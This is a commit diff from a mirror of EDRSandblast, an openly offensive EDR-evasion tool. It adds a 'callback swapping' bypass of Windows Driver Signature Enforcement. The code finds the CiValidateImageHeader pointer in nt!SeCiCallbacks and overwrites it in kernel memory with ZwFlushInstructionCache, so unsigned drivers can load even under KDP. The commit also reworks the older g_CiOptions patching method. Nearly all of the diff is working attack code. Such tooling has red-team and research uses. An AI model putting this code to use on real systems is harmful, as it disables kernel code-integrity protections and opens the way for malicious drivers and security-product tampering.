mirror of
https://github.com/wavestone-cdt/EDRSandblast.git
synced 2026-06-11 01:41:20 +00:00
DSE bypass : implemented "callback swapping" method
The new default method for unsigned driver loading uses a KDP compatible technique, since it does not overwrite the protected variable g_CiOptions. Based on the work of: https://github.com/0mWindyBug/KDP-compatible-driver-loader Co-authored-by: Windy Bug <139051196+0mWindyBug@users.noreply.github.com>
This commit is contained in:
@@ -13,14 +13,15 @@
|
||||
|
||||
enum CiOffsetType {
|
||||
g_CiOptions = 0,
|
||||
CiValidateImageHeader,
|
||||
_SUPPORTED_CI_OFFSETS_END
|
||||
};
|
||||
|
||||
union CiOffsets {
|
||||
// structure version of Ci.dll's offsets
|
||||
struct {
|
||||
// Ci.dll's g_CiOptions
|
||||
DWORD64 g_CiOptions;
|
||||
DWORD64 CiValidateImageHeader;
|
||||
} st;
|
||||
|
||||
// array version (usefull for code factoring)
|
||||
@@ -30,8 +31,10 @@ union CiOffsets {
|
||||
union CiOffsets g_ciOffsets;
|
||||
|
||||
// Return the offsets of CI!g_CiOptions for the specific Windows version in use.
|
||||
void LoadCiOffsetsFromFile(TCHAR* CiOffsetFilename);
|
||||
BOOL LoadCiOffsets(_In_opt_ TCHAR* ciOffsetFilename, BOOL canUseInternet);
|
||||
BOOL CiOffsetsAreLoaded();
|
||||
BOOL LoadCiOffsetsFromFile(TCHAR* CiOffsetFilename);
|
||||
void SaveCiOffsetsToFile(TCHAR* CiOffsetFilename);
|
||||
void LoadCiOffsetsFromInternet(BOOL delete_pdb);
|
||||
BOOL LoadCiOffsetsFromInternet(BOOL delete_pdb);
|
||||
LPTSTR GetCiVersion();
|
||||
LPTSTR GetCiPath();
|
||||
@@ -1,5 +1,7 @@
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
PBYTE ReadFullFileW(LPCWSTR fileName);
|
||||
|
||||
BOOL FileExistsA(LPCSTR szPath);
|
||||
|
||||
@@ -8,6 +8,21 @@
|
||||
#define PRINT_ERROR_AUTO(func) _tprintf_or_not(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError())
|
||||
#endif
|
||||
|
||||
|
||||
enum dseDisablingMethods_e {
|
||||
G_CIOPTIONS_PATCHING,
|
||||
CALLBACK_SWAPPING,
|
||||
};
|
||||
|
||||
BOOLEAN IsCiEnabled();
|
||||
DWORD64 FindCIBaseAddress();
|
||||
BOOL patch_gCiOptions(DWORD64 CiVariableAddress, ULONG CiOptionsValue, PULONG OldCiOptionsValue);
|
||||
|
||||
BOOL disableDSE(enum dseDisablingMethods_e method, BOOL verbose);
|
||||
BOOL reenableDSE(enum dseDisablingMethods_e method, BOOL verbose);
|
||||
|
||||
|
||||
BOOL disableDSEbyCallbackSwapping(DWORD64* oldCiValidateImageHeaderEntryAddr);
|
||||
BOOL reenableDSEbyCallbackSwapping(DWORD64 ciValidateImageHeaderEntryAddr);
|
||||
BOOL disableDSEbyPatchingCiOptions(BOOL verbose, _Out_ ULONG* OldCiOptionsValue);
|
||||
BOOL reenableDSEbyPatchingCiOptions(ULONG OldCiOptionsValue);
|
||||
@@ -11,7 +11,7 @@
|
||||
|
||||
|
||||
enum NtoskrnlOffsetType {
|
||||
CREATE_PROCESS_ROUTINE,
|
||||
CREATE_PROCESS_ROUTINE = 0,
|
||||
CREATE_THREAD_ROUTINE,
|
||||
LOAD_IMAGE_ROUTINE,
|
||||
PROTECTION_LEVEL,
|
||||
@@ -21,6 +21,7 @@ enum NtoskrnlOffsetType {
|
||||
PSPROCESSTYPE,
|
||||
PSTHREADTYPE,
|
||||
OBJECT_TYPE_CALLBACKLIST,
|
||||
SECICALLBACKS,
|
||||
_SUPPORTED_NTOSKRNL_OFFSETS_END
|
||||
};
|
||||
|
||||
@@ -47,6 +48,8 @@ union NtoskrnlOffsets {
|
||||
DWORD64 psThreadType;
|
||||
// ntoskrnl _OBJECT_TYPE's CallbackList symbol offset
|
||||
DWORD64 object_type_callbacklist;
|
||||
// ntoskrnl SeCiCallbacks array
|
||||
DWORD64 seCiCallbacks;
|
||||
} st;
|
||||
|
||||
// array version (usefull for code factoring)
|
||||
@@ -70,4 +73,6 @@ BOOL NtoskrnlOffsetsAreAllPresent();
|
||||
BOOL NtoskrnlAllKernelCallbacksOffsetsArePresent();
|
||||
BOOL NtoskrnlNotifyRoutinesOffsetsArePresent();
|
||||
BOOL NtoskrnlEtwtiOffsetsArePresent();
|
||||
BOOL NtoskrnlObjectCallbackOffsetsArePresent();
|
||||
BOOL NtoskrnlObjectCallbackOffsetsArePresent();
|
||||
|
||||
LPTSTR GetNtoskrnlPath();
|
||||
|
||||
@@ -1,6 +1,8 @@
|
||||
#include "windows.h"
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
|
||||
#include "CiOffsets.h"
|
||||
#include "KernelDSE.h"
|
||||
#include "winternl.h"
|
||||
#include "KernelCallbacks.h"
|
||||
#include "NtoskrnlOffsets.h"
|
||||
#include "PrintFunctions.h"
|
||||
@@ -8,35 +10,158 @@
|
||||
#include "KernelUtils.h"
|
||||
#include "tchar.h"
|
||||
|
||||
|
||||
BOOLEAN IsCiEnabled()
|
||||
BOOLEAN IsCiEnabled()
|
||||
{
|
||||
SYSTEM_CODEINTEGRITY_INFORMATION CiInfo = { sizeof(SYSTEM_CODEINTEGRITY_INFORMATION) };
|
||||
const NTSTATUS Status = NtQuerySystemInformation(SystemCodeIntegrityInformation,
|
||||
&CiInfo,
|
||||
sizeof(CiInfo),
|
||||
NULL);
|
||||
if (!NT_SUCCESS(Status))
|
||||
printf_or_not("[-] Failed to query code integrity status: %08X\n", Status);
|
||||
SYSTEM_CODEINTEGRITY_INFORMATION CiInfo = { sizeof(SYSTEM_CODEINTEGRITY_INFORMATION) };
|
||||
const NTSTATUS Status = NtQuerySystemInformation(SystemCodeIntegrityInformation,
|
||||
&CiInfo,
|
||||
sizeof(CiInfo),
|
||||
NULL);
|
||||
if (!NT_SUCCESS(Status))
|
||||
printf_or_not("[-] Failed to query code integrity status: %08X\n", Status);
|
||||
|
||||
return (CiInfo.CodeIntegrityOptions &
|
||||
(CODEINTEGRITY_OPTION_ENABLED | CODEINTEGRITY_OPTION_TESTSIGN)) == CODEINTEGRITY_OPTION_ENABLED;
|
||||
return (CiInfo.CodeIntegrityOptions &
|
||||
(CODEINTEGRITY_OPTION_ENABLED | CODEINTEGRITY_OPTION_TESTSIGN)) == CODEINTEGRITY_OPTION_ENABLED;
|
||||
}
|
||||
|
||||
DWORD64 FindCIBaseAddress() {
|
||||
DWORD64 CiBaseAddress = FindKernelModuleAddressByName(TEXT("CI.dll"));
|
||||
return CiBaseAddress;
|
||||
}
|
||||
DWORD64 FindCIBaseAddress() {
|
||||
DWORD64 CiBaseAddress = FindKernelModuleAddressByName(TEXT("CI.dll"));
|
||||
return CiBaseAddress;
|
||||
}
|
||||
|
||||
/*
|
||||
* Patches the gCiOptions global variable in CI.dll module to enable/disable DSE
|
||||
* Warning: this technique does not work with KDP enabled (by default on Win 11).
|
||||
* TODO: see https://www.fortinet.com/blog/threat-research/driver-signature-enforcement-tampering for ideas of new bypasses
|
||||
*/
|
||||
BOOL patch_gCiOptions(DWORD64 CiVariableAddress, ULONG CiOptionsValue, PULONG OldCiOptionsValue) {//PRFIX : not KDP proof
|
||||
*OldCiOptionsValue = ReadMemoryDWORD(CiVariableAddress);
|
||||
//printf("[+KERNELDSE] The value of gCI at 0x%llx is 0x%x.\n", CiVariableAddress, *OldCiOptionsValue);
|
||||
WriteMemoryDWORD(CiVariableAddress, CiOptionsValue);
|
||||
//printf("[+KERNELDSE] New value of gCI at 0x%llx is 0x%x.\n", CiVariableAddress, ReadMemoryDWORD64(CiVariableAddress));
|
||||
return TRUE;
|
||||
}
|
||||
/*
|
||||
* Patches the gCiOptions global variable in CI.dll module to enable/disable DSE
|
||||
* Warning: this technique does not work with KDP enabled (by default on Win 11).
|
||||
*/
|
||||
BOOL patch_gCiOptions(DWORD64 CiVariableAddress, ULONG CiOptionsValue, PULONG OldCiOptionsValue) {//PRFIX : not KDP proof
|
||||
*OldCiOptionsValue = ReadMemoryDWORD(CiVariableAddress);
|
||||
//printf("[+KERNELDSE] The value of gCI at 0x%llx is 0x%x.\n", CiVariableAddress, *OldCiOptionsValue);
|
||||
WriteMemoryDWORD(CiVariableAddress, CiOptionsValue);
|
||||
//printf("[+KERNELDSE] New value of gCI at 0x%llx is 0x%x.\n", CiVariableAddress, ReadMemoryDWORD64(CiVariableAddress));
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL disableDSEbyPatchingCiOptions(BOOL verbose, _Out_ ULONG* OldCiOptionsValue) {
|
||||
*OldCiOptionsValue = 0;
|
||||
if (!CiOffsetsAreLoaded()) {
|
||||
return FALSE;
|
||||
}
|
||||
DWORD64 CiBaseAddress = FindCIBaseAddress();
|
||||
if (!CiBaseAddress) {
|
||||
_putts_or_not(TEXT("[-] CI base address not found !\n"));
|
||||
return FALSE;
|
||||
}
|
||||
DWORD64 g_CiOptionsAddress = CiBaseAddress + g_ciOffsets.st.g_CiOptions;
|
||||
if (verbose)
|
||||
_tprintf_or_not(TEXT("[+] [DSE-g_CiOptions patching] CI.dll kernel base address found at 0x%llx. The g_CiOptions is at %llx !\n"), CiBaseAddress, g_CiOptionsAddress);
|
||||
|
||||
ULONG CiOptionsValue = 0;
|
||||
return patch_gCiOptions(g_CiOptionsAddress, CiOptionsValue, OldCiOptionsValue);
|
||||
}
|
||||
|
||||
BOOL reenableDSEbyPatchingCiOptions(ULONG OldCiOptionsValue) {
|
||||
if (!CiOffsetsAreLoaded()) {
|
||||
return FALSE;
|
||||
}
|
||||
DWORD64 CiBaseAddress = FindCIBaseAddress();
|
||||
if (!CiBaseAddress) {
|
||||
_putts_or_not(TEXT("[-] CI base address not found !\n"));
|
||||
return FALSE;
|
||||
}
|
||||
DWORD64 g_CiOptionsAddress = CiBaseAddress + g_ciOffsets.st.g_CiOptions;
|
||||
ULONG tmp;
|
||||
return patch_gCiOptions(g_CiOptionsAddress, OldCiOptionsValue, &tmp);
|
||||
}
|
||||
|
||||
DWORD64 locateCiValidateImageHeaderEntry()
|
||||
{
|
||||
DWORD64 seCiCallbacksAddr = FindNtoskrnlBaseAddress() + g_ntoskrnlOffsets.st.seCiCallbacks;
|
||||
_tprintf_or_not(TEXT("[*] [DSE-callback swapping] SeCiCallbacks array's address: %p\n"), (PVOID)seCiCallbacksAddr);
|
||||
|
||||
DWORD64 ciValidateImageHeaderAddr = FindCIBaseAddress() + g_ciOffsets.st.CiValidateImageHeader;
|
||||
_tprintf_or_not(TEXT("[*] [DSE-callback swapping] Looking for entry equals to CiValidateImageHeader (%p)\n"), (PVOID)ciValidateImageHeaderAddr);
|
||||
|
||||
DWORD64 zwFlushInstructionCache = GetKernelFunctionAddress("ZwFlushInstructionCache");
|
||||
if (zwFlushInstructionCache == 0) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
DWORD64 ciValidateImageHeaderEntryAddr = 0;
|
||||
for (DWORD64 i = 0; i < 0x100; i += 8) {
|
||||
DWORD64 entry = ReadMemoryDWORD64(seCiCallbacksAddr + i);
|
||||
DWORD64 driverOffset;
|
||||
TCHAR* driverEntry = FindDriverName(entry, &driverOffset);
|
||||
_tprintf_or_not(TEXT("[*] [DSE-callback swapping] [0x%016llx (seCiCallbacks + 0x%llx)]\t\t= 0x%016llx (%s + 0x%llx)\n"), seCiCallbacksAddr + i, i, entry, driverEntry, driverOffset);
|
||||
if (entry == ciValidateImageHeaderAddr || entry == zwFlushInstructionCache) {
|
||||
ciValidateImageHeaderEntryAddr = seCiCallbacksAddr + i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!ciValidateImageHeaderEntryAddr) {
|
||||
_tprintf_or_not(TEXT("[-] [DSE-callback swapping] Failed to locate an entry in SeCiCallbacks pointing at Ci!CiValidateImageHeader\n"));
|
||||
return 0;
|
||||
}
|
||||
|
||||
_tprintf_or_not(TEXT("[*] [DSE-callback swapping] Found the Ci!CiValidateImageHeader in the array at %p\n"), (PVOID)ciValidateImageHeaderEntryAddr);
|
||||
|
||||
return ciValidateImageHeaderEntryAddr;
|
||||
}
|
||||
|
||||
/*
|
||||
* Replace the entry in nt!SeCiCallbacks pointing at Ci!CiValidateImageHeader by ZwFlushInstructionCache,
|
||||
* i.e. a function that does nothing but returning 0
|
||||
*/
|
||||
BOOL disableDSEbyCallbackSwapping(DWORD64* oldCiValidateImageHeaderEntryAddr) {
|
||||
DWORD64 ciValidateImageHeaderEntryAddr = locateCiValidateImageHeaderEntry();
|
||||
if (ciValidateImageHeaderEntryAddr == 0) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Resolving the kernel nt!zwFlushInstructionCache address
|
||||
DWORD64 zwFlushInstructionCache = GetKernelFunctionAddress("ZwFlushInstructionCache");
|
||||
if (zwFlushInstructionCache == 0) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
WriteMemoryDWORD64(ciValidateImageHeaderEntryAddr, zwFlushInstructionCache);
|
||||
_tprintf_or_not(TEXT("[+] Successfully disabled DSE by overwriting Ci!CiValidateImageHeader\n"));
|
||||
|
||||
*oldCiValidateImageHeaderEntryAddr = ciValidateImageHeaderEntryAddr;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL reenableDSEbyCallbackSwapping(DWORD64 ciValidateImageHeaderEntryAddr) {
|
||||
DWORD64 ciValidateImageHeaderAddr = FindCIBaseAddress() + g_ciOffsets.st.CiValidateImageHeader;
|
||||
|
||||
WriteMemoryDWORD64(ciValidateImageHeaderEntryAddr, ciValidateImageHeaderAddr);
|
||||
_tprintf_or_not(TEXT("[+] Successfully reenabled DSE by restoring Ci!CiValidateImageHeader entry in SeCiCallbacks\n"));
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
ULONG g_OldCiOptionsValue;
|
||||
DWORD64 oldCiValidateImageHeaderEntryAddr;
|
||||
BOOL disableDSE(enum dseDisablingMethods_e method, BOOL verbose) {
|
||||
switch (method) {
|
||||
case G_CIOPTIONS_PATCHING:
|
||||
return disableDSEbyPatchingCiOptions(verbose, &g_OldCiOptionsValue);
|
||||
case CALLBACK_SWAPPING:
|
||||
return disableDSEbyCallbackSwapping(&oldCiValidateImageHeaderEntryAddr);
|
||||
default:
|
||||
_tprintf_or_not(TEXT("Invalid DSE disabling method, aborting..."));
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
BOOL reenableDSE(enum dseDisablingMethods_e method, BOOL verbose) {
|
||||
(void)verbose;
|
||||
switch (method) {
|
||||
case G_CIOPTIONS_PATCHING:
|
||||
return reenableDSEbyPatchingCiOptions(g_OldCiOptionsValue);
|
||||
case CALLBACK_SWAPPING:
|
||||
return reenableDSEbyCallbackSwapping(oldCiValidateImageHeaderEntryAddr);
|
||||
default:
|
||||
_tprintf_or_not(TEXT("Invalid DSE disabling method, aborting..."));
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
@@ -76,6 +76,13 @@ TCHAR* FindDriverName(DWORD64 address, _Out_opt_ PDWORD64 offset) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (minDiff == MAXDWORD64) {
|
||||
if (offset) {
|
||||
*offset = address;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (GetDeviceDriverBaseName((LPVOID)(address - minDiff), szDriver, _countof(szDriver))) {
|
||||
|
||||
if (offset) {
|
||||
|
||||
@@ -9,6 +9,7 @@
|
||||
#include <tchar.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "FileUtils.h"
|
||||
#include "FileVersion.h"
|
||||
#include "PdbSymbols.h"
|
||||
#include "PrintFunctions.h"
|
||||
@@ -17,8 +18,48 @@
|
||||
|
||||
union CiOffsets g_ciOffsets = { 0 };
|
||||
|
||||
BOOL CiOffsetsAreLoaded() {
|
||||
return g_ciOffsets.ar[0] != 0;
|
||||
}
|
||||
|
||||
|
||||
BOOL LoadCiOffsets(_In_opt_ TCHAR* ciOffsetFilename, BOOL canUseInternet) {
|
||||
if (CiOffsetsAreLoaded()) {
|
||||
//offsets already loaded
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// load via CSV first
|
||||
if (ciOffsetFilename && FileExists(ciOffsetFilename)) {
|
||||
if (LoadCiOffsetsFromFile(ciOffsetFilename)) {
|
||||
return TRUE;
|
||||
}
|
||||
_putts_or_not(TEXT("[!] Offsets are missing from the CSV for the version of ci in use."));
|
||||
}
|
||||
|
||||
// load via internet then
|
||||
if (canUseInternet) {
|
||||
_putts_or_not(TEXT("[+] Downloading ci related offsets from the MS Symbol Server (will drop a .pdb file in current directory)"));
|
||||
#if _DEBUG
|
||||
if (LoadCiOffsetsFromInternet(FALSE)) {
|
||||
#else
|
||||
if (LoadCiOffsetsFromInternet(TRUE)) {
|
||||
#endif
|
||||
_putts_or_not(TEXT("[+] Downloading offsets succeeded !"));
|
||||
if (ciOffsetFilename && FileExists(ciOffsetFilename)) {
|
||||
_putts_or_not(TEXT("[+] Saving them to the CSV file..."));
|
||||
SaveCiOffsetsToFile(ciOffsetFilename);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
_putts_or_not(TEXT("[-] Downloading offsets from the internet failed !"));
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Return the offsets of CI!g_CiOptions for the specific Windows version in use.
|
||||
void LoadCiOffsetsFromFile(TCHAR* ciOffsetFilename) {
|
||||
BOOL LoadCiOffsetsFromFile(TCHAR* ciOffsetFilename) {
|
||||
LPTSTR ciVersion = GetCiVersion();
|
||||
_tprintf_or_not(TEXT("[*] System's ci.dll file version is: %s\n"), ciVersion);
|
||||
|
||||
@@ -27,7 +68,7 @@ void LoadCiOffsetsFromFile(TCHAR* ciOffsetFilename) {
|
||||
|
||||
if (offsetFileStream == NULL) {
|
||||
_putts_or_not(TEXT("[!] Ci offsets CSV file not found / invalid. A valid offset file must be specifed!"));
|
||||
return;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
TCHAR lineCiVersion[256];
|
||||
@@ -46,9 +87,10 @@ void LoadCiOffsetsFromFile(TCHAR* ciOffsetFilename) {
|
||||
}
|
||||
}
|
||||
fclose(offsetFileStream);
|
||||
return g_ciOffsets.ar[0] != 0;
|
||||
}
|
||||
|
||||
void SaveCiOffsetsToFile(TCHAR* ciOffsetFilename) {
|
||||
void SaveCiOffsetsToFile(TCHAR * ciOffsetFilename) {
|
||||
LPTSTR ciVersion = GetCiVersion();
|
||||
|
||||
FILE* offsetFileStream = NULL;
|
||||
@@ -63,20 +105,22 @@ void SaveCiOffsetsToFile(TCHAR* ciOffsetFilename) {
|
||||
for (int i = 0; i < _SUPPORTED_CI_OFFSETS_END; i++) {
|
||||
_ftprintf(offsetFileStream, TEXT(",%llx"), g_ciOffsets.ar[i]);
|
||||
}
|
||||
_fputts(TEXT(""), offsetFileStream);
|
||||
_ftprintf(offsetFileStream, TEXT("\n"));
|
||||
|
||||
fclose(offsetFileStream);
|
||||
}
|
||||
|
||||
|
||||
void LoadCiOffsetsFromInternet(BOOL delete_pdb) {
|
||||
BOOL LoadCiOffsetsFromInternet(BOOL delete_pdb) {
|
||||
LPTSTR ciPath = GetCiPath();
|
||||
symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(ciPath);
|
||||
if (sym_ctx == NULL) {
|
||||
return;
|
||||
return FALSE;
|
||||
}
|
||||
g_ciOffsets.st.g_CiOptions = GetSymbolOffset(sym_ctx, "g_CiOptions");
|
||||
g_ciOffsets.st.CiValidateImageHeader = GetSymbolOffset(sym_ctx, "CiValidateImageHeader");
|
||||
UnloadSymbols(sym_ctx, delete_pdb);
|
||||
return CiOffsetsAreLoaded();
|
||||
}
|
||||
|
||||
TCHAR g_ciPath[MAX_PATH] = { 0 };
|
||||
|
||||
@@ -92,6 +92,7 @@ void LoadNtoskrnlOffsetsFromInternet(BOOL delete_pdb) {
|
||||
g_ntoskrnlOffsets.st.psProcessType = GetSymbolOffset(sym_ctx, "PsProcessType");
|
||||
g_ntoskrnlOffsets.st.psThreadType = GetSymbolOffset(sym_ctx, "PsThreadType");
|
||||
g_ntoskrnlOffsets.st.object_type_callbacklist = GetFieldOffset(sym_ctx, "_OBJECT_TYPE", L"CallbackList");
|
||||
g_ntoskrnlOffsets.st.seCiCallbacks = GetSymbolOffset(sym_ctx, "SeCiCallbacks");
|
||||
UnloadSymbols(sym_ctx, delete_pdb);
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user